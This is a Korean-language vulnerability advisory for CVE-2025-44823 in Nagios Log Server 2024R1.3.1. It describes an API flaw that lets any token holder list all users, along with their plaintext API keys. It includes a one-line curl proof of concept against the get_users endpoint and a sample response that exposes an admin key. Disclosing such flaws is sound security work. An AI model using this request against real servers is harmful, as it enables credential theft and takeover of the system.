Nagios Log Server 2024R1.3.1의 인증된 API 키 노출

▶️ PoC 데모

CVE ID: CVE-2025-44823

날짜: 2025-04-02

작성자: Alex Tisdale, Seth Kraft

공급업체 홈페이지: https://www.nagios.com/

공급업체 변경 로그: https://www.nagios.com/changelog/#log-server

소프트웨어 링크: https://assets.nagios.com/downloads/nagios-log-server/versions.php

버전: 2024R1.3.1 이하

테스트 환경: Nagios Log Server 2024R1.3.1 (기본 구성, Ubuntu 20.04)

CWE: CWE-497

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

승인

연구 및 승인된 테스트 전용입니다. 허가 없이 시스템에 사용하지 마십시오.

설명

Nagios Log Server 2024R1.3.1의 API 수준 취약점으로 인해 유효한 API 토큰을 가진 모든 사용자가 관리자 자격 증명을 포함한 전체 사용자 계정 목록과 해당 계정의 평문 API 키를 검색할 수 있습니다. 이 결함으로 인해 노출된 토큰의 무단 사용을 통해 사용자 열거, 권한 상승 및 전체 시스템 손상이 가능해집니다.

PoC

1단계: 취약한 엔드포인트에 접근

curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"

샘플 응답

[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "[email protected]",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]